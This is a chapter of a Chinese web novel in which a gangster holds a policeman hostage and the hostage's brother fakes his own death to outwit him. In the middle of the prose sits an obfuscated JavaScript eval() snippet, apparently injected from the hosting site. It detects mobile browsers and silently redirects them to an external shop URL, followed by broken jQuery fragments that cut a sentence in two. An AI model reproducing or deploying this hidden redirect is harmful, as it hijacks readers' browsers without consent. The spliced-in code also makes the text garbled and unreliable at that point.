楚向烽很郁闷,怎么就被偷袭了呢。
以至于他这辈子唯一的一次滑铁卢,就这么猝不及防的发生了。
他被五花大绑的捆在长条凳上,动弹不得。
弹簧张如果真想敲断他的腿,不费吹灰之力。
这会儿再骗弹簧张,说他是抓鬼的那个,显然已经不现实了。
他只能尝试别的办法自救。
他仰着脑袋,吐掉满嘴的血污,威胁道:“弹簧张,我手里有好几个命案的线索,只要我死了,我兄弟一定会替我报仇,你那几个兄弟你一个都护不住。还有,你们走私的那批货物——”
话音未落,弹簧张便扛着一把砍刀,走到了他的面前。
一脚踩在他的腿上,猛地甩下砍刀,对准了他的左腿。
楚向烽没想到这家伙不吃这一套,行吧,砍吧,他就不是求饶的怂包,绝不会掉一滴眼泪。
大不了做个废物,让他哥养他一辈子。
他就这么咬紧了牙关,硬生生抗下了这一刀。
没喊,也没叫。
然而,弹簧张手里的砍刀,其实是刀背朝下的,楚向烽被绑着,看不到,直到那粗厚的刀背落在腿上,他才知道弹簧张只是吓唬吓唬他而已。
弹簧张喜欢的就是这种铁骨铮铮的硬汉。
真是没想到,楚家的这两个兄弟,每一个都让他很感兴趣,想要招到自己麾下,做个小弟。
可惜了,这个楚向烽,他是个条子。
还是拿他当个人质,把楚唯征骗过来更合算一点。
正好铁拐吕的事情,他得好好算一算这笔账。
只要楚唯征肯低头认个错,这事他可以网开一面。
楚唯征不是条子,阴阳两界办事处又是游走在法律和制度之外的特殊存在,让楚唯征跟他这个和善堂的大当家拜个把子,不会损失什么的。
只要拜了把子,今后楚唯征也不好再为难铁拐吕了。
毕竟,入他和善堂者,皆为家人,家人之间哪里会斤斤计较呢?
弹簧张乐观地谋划着,并不知道楚唯征早已跟梁家有了无法袖手旁观的特殊关联。
于是,他让人联系阿邦:“叫楚怀杨的儿子楚唯征过来,要不然,我砍了楚向烽的狗腿,你们还有三个小时的时间考虑,要是敬酒不吃吃罚酒,那我只好把他儿子的腿送给他当下酒菜了。”
阿邦挂了电话,赶紧想办法:“大哥,你跟大嫂在这里等我,我亲自去会会他。”
楚怀杨不放心:“我跟你一起去吧?”
“不用,你在家里等我消息,最好的结果就是和解,给他一点赎金就行了。干我们这一行的,斗凶斗狠,为的其实都是钱,钱到位了,什么都好说。你也别急,我知道你公司最近周转困难,没事,我有钱。多少我都出。”阿邦直接出去了,留下他的两个马仔,在这里照应一二。
楚怀杨怎么可能不急,在客厅来回踱步,像是热锅上的蚂蚁。
没办法,他做的都是合法买卖,很多年不跟帮派打交道了,一时间,也只能把希望寄托在阿邦身上。
至于要不要报警……
他看了眼卓璎,卓璎摇头:“不要,报警了就彻底结下梁子了,既然找了阿邦,就让阿邦试试吧。”
梁欣欣不懂帮派恩怨,她也不想擅自做主,毕竟她对本地的复杂情况不是很了解,便起身,去阳台小声联系楚唯征:“狐狸精,要报警吗?”
“不用。”楚唯征快到堂会那里了,不过,只有他跟梁宏夜两个人的话,胜算不大。
梁欣欣让他停车,先把情况详细跟她说一说,也许她能提供一点其他的思路。
楚唯征虽然救弟心切,但还是给了她面子,停在了路边,前因后果梳理了一遍。
梁欣欣沉思片刻,道:“我怀疑他是吓唬你的,你自己也说了,他想跟你拜把子,说明他很看好你。之前你和阿烽都去了堂会那里,阿烽被绑了,你却是自由身。这个弹簧张对你还是挺客气的,现在不肯放人,可能只是气你没打招呼,直接绑走了二当家铁拐吕。”
楚唯征沉默了,照梁欣欣的说法,这件事原本应该有更好的解决办法。
也许是他独来独往惯了,不擅长考虑其他人的感受。
他决定听听梁欣欣的想法:“那你说怎么办?”
“他们人多,又有砍刀,很危险的。你想个办法,把他骗出来,不要孤身犯险。如果他真的只是吓唬你的,骗出来后好好谈谈就是了。如果他不是吓唬你,而是真的想砍阿烽的腿,你也可以安排其他人,在他出来的时候把阿烽救走!再说了,他到现在都没提要赎金的事,我估计吓唬你的可能性更高。”梁欣欣斟酌一番,补充道,“当然,也有可能,他是想把你骗过去,兄弟俩一起要赎金。这么一来,你就更不能去了。听我的吧,想个办法,骗他出来。”
“我知道了,欣欣你真厉害,冷静又机智。谢谢你。”楚唯征结束了对话,在路口调头,找了个电话亭,给阿邦这边打了个电话。
卓璎抢在楚怀杨前头拿起话筒:“喂?”
“妈,是我。你现在就回去,给我办个葬礼,就说我死了。”楚唯征语出惊人。
卓璎都吓傻了:“阿征啊,你没有开玩笑吧?你这孩子,好端端的,为什么要咒自己死呢?”
“妈,听我的,我有我的道理。”楚唯征看看时间,催促道,“要快。”
挂了电话,卓璎怔怔的看着楚怀杨:“阿征让我们宣布他死了,还叫我们给他办葬礼。”
楚怀杨脑子停顿了好几秒,随即明白过来:“是想骗弹簧张停手?”
“弹簧张为了确定消息真假,应该会让人来吊唁。到时候怎么瞒得了他?”卓璎叹气。
楚怀杨却笑了:“你忘了,家里不还有个儿子。”
“阿颢?”卓璎一拍脑门,哎呀,也不是不行。
阿颢跟他两个哥哥差不多高,虽然长得不说是一模一样吧,起码六七分的相似还是有的,如果她给阿颢再化个妆……
好,就这么办。
她留下楚怀杨在这里等消息,自己则叫上梁欣欣:“欣欣啊,走,跟我回去。”
梁欣欣也没想到,楚唯征引蛇出洞的方法是诈死。
不过这么一来,确实会安全不少。
到了车上,卓璎给她解释了一下接下来的安排:“欣欣啊,你帮嫂子演个戏。和善堂的人要剁阿征的爪子,等会你就假扮成他老婆,你大声的哭,说你男人死了,要剁他爪子就到阴曹地府去剁!那些马仔整天跟男人打交道,最怕应付女人了,你一哭,他们也不好去掀白布,就算真的掀了,你也可以扑上去挡着点,只要让他们看到阿颢的一个侧脸,以为是阿征就行了。”
梁欣欣捂着发烫的脸颊,目瞪口呆。
原来她的作用是这个?
可是……她跟楚唯征也不是男女朋友啊。
忽然就要假扮他的未亡人,好难为情。
不过救命之恩大过天,她必须报答卓璎,咬咬牙,应下了。
“好,我会好好哭的。”梁欣欣的声音嗡嗡的,明显是害臊了。
卓璎赶紧安慰她:“你别担心,阿征早就跟我说了,你是他女朋友,家里都提前给你准备了好多衣服呢,你都看到了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14262037|151047||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
吧?”
这个梁欣欣真的不知道。
楚唯征也没有跟她说过啊。
她还以为都是楚聆月以前的衣服。
不过这个节骨眼上,救人要紧,梁欣欣不想节外生枝,为了细枝末节的事情浪费口舌。
便捂着火辣辣的脸颊:“看到了,我很喜欢,谢谢你们。”
“谢什么呀。”说不定很快就成一家人了。
卓璎握住梁欣欣的手,用那炽热的温度,给她吃颗定心丸。
到了楚家,卓璎立马张罗起来。
楚聆月赶紧去把她弟弟叫出来,一起唱大戏。
“可是妈妈,大姐还在打官司,回不来,会不会露馅儿?”楚聆月有些担心。
卓璎顾不上那么许多了,催促道:“不管了,你赶紧去联系花店和寿衣店,我来给阿颢化妆。”
一家子忙得人仰马翻。
那边和善堂收到消息,都傻眼了。
弹簧张根本不敢相信,逮住进来传话的马仔,问道:“胡说八道!他一个抓鬼的天师,怎么会死了呢?”
“据说是因为他找到了邵家小儿子邵明远的尸骸,那里一共十几个冤魂,他一个人抵挡不住,被反噬了,口吐鲜血而亡。”马仔也是震惊不已。
没想到邵家那个失踪的小儿子居然早就死了。
一家五口一起摔下山崖,至今不能入土为安,好惨。
弹簧张将信将疑,想要打电话去邵家问问。
一回头,座机旁边的电视上正在播报一条突发的新闻。
一群警察,正在一个山坳里面打捞残骸。
抬上来的尸首全都腐烂,面目全非,残骸旁边摆着一只钱包,里面有邵明远一家五口的全家福。
记者对着镜头说道:“这是警员楚向烽调查到的线索,他的哥哥楚唯征亲自攀援下山,对尸骸进行了核实。兄弟俩第一时间通知了警方,可惜,哥哥楚唯征疑似遭受不幸,下落不明,弟弟楚向烽也因为现场惨不忍睹,精神混乱,误以为有厉鬼袭击,对着空气乱开枪,被警队没收配枪后,下落不明。”
弹簧张缓缓地回头,看向了趴在长条凳上的楚向烽。
难道他当时开向灯泡的那一枪……
弹簧张又抬头,看了看头顶新换的灯泡,忽然汗毛倒立。
他有点渴,端起水杯,猛灌一气。
喝完还是渴。
忍住了。
他踱步到楚向烽跟前:“电视上说的是真的?你跟你哥,找到了邵家小儿子的尸首?”
楚向烽不说话,只是生气,也不知道他哥在玩什么,居然把他一个人扔在这里,自己跑出去大出风头。
还说自己死了,他才不信。
不过,眼下是他脱身的最佳时机,他冷笑一声:“弹簧张,原来你怕鬼啊。那你小心点,你这堂会里头,好几只在晃呢。”
弹簧张沉住气,叫人给楚向烽喂了点饭,转身离去:“我去楚家吊唁,给我看好他!”
一群人扛着砍刀,把楚向烽围了好几圈,以防被人偷家。
夜色中,阿邦的人已经整装待发,准备过来救人。
此时的楚家,梁欣欣换上了纯白的孝服。
跪在灵堂里面,哭得那叫一个情真意切。
这事儿其实不难,她只要想到姚阿婆,眼泪就止不住了。
所以连卓璎都傻眼了。
原来欣欣这么在乎阿征的吗?哪怕是假死,都心疼得眼泪成河?
哎呦,这个儿媳妇,她要定了!
正感慨呢,管家进来通报:“太太,和善堂大当家来了。”